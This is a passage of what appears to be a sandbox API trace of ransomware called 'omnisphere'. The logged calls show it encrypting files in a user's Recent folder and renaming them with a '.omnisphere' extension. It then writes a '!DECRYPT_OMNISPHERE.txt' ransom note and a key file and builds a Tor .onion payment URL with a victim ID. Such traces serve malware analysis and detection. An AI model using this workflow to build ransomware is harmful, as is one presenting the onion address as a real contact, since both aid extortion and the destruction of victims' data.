dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.656] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.656] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0126.656] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4ee, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.656] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.656] GetProcessHeap () returned 0x1600000 [0126.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c6) returned 0x16ecd68 [0126.656] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mxwvxd6lx22ly9jtci.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mxwvxd6lx22ly9jtci.ots.lnk.omnisphere")) returned 1 [0126.657] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere.id" [0126.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mxwvxd6lx22ly9jtci.ots.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.658] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.659] CloseHandle (hObject=0x3c0) returned 1 [0126.659] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.659] CloseHandle (hObject=0x288) returned 1 [0126.659] SetEndOfFile (hFile=0x28c) returned 1 [0126.659] FlushFileBuffers (hFile=0x28c) returned 1 [0126.663] CloseHandle (hObject=0x28c) returned 1 [0126.663] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.663] GetProcessHeap () returned 0x1600000 [0126.663] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.663] GetProcessHeap () returned 0x1600000 [0126.663] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d55c8 [0126.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d55c8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.664] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.664] GetProcessHeap () returned 0x1600000 [0126.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7f88 [0126.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7f88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.664] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.664] GetProcessHeap () returned 0x1600000 [0126.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9280 [0126.664] PathCombineW (in: pszDest=0x16d9280, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.664] GetProcessHeap () returned 0x1600000 [0126.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dfe78 [0126.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.664] WriteFile (in: hFile=0x28c, lpBuffer=0x16dfe78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dfe78*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.665] CloseHandle (hObject=0x28c) returned 1 [0126.665] GetProcessHeap () returned 0x1600000 [0126.665] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.665] GetProcessHeap () returned 0x1600000 [0126.665] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.665] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.665] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.665] CloseHandle (hObject=0x28c) returned 1 [0126.666] GetProcessHeap () returned 0x1600000 [0126.666] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.666] GetProcessHeap () returned 0x1600000 [0126.666] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20c72aff, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20c72aff, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20c72aff, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3b5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="nfYii0C3y.lnk", cAlternateFileName="NFYII0~1.LNK")) returned 1 [0126.666] GetProcessHeap () returned 0x1600000 [0126.666] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x16568c8 [0126.666] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="nfYii0C3y.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk" [0126.666] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nfyii0c3y.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.666] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=949) returned 1 [0126.666] GetTickCount () returned 0x115f9be [0126.666] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.667] GetTickCount () returned 0x115f9be [0126.668] GetTickCount () returned 0x115f9be [0126.668] GetTickCount () returned 0x115f9be [0126.668] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.668] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.669] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.669] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.669] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b5, lpName=0x0) returned 0x288 [0126.669] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b5) returned 0x1480000 [0126.669] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0126.670] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.670] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.671] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 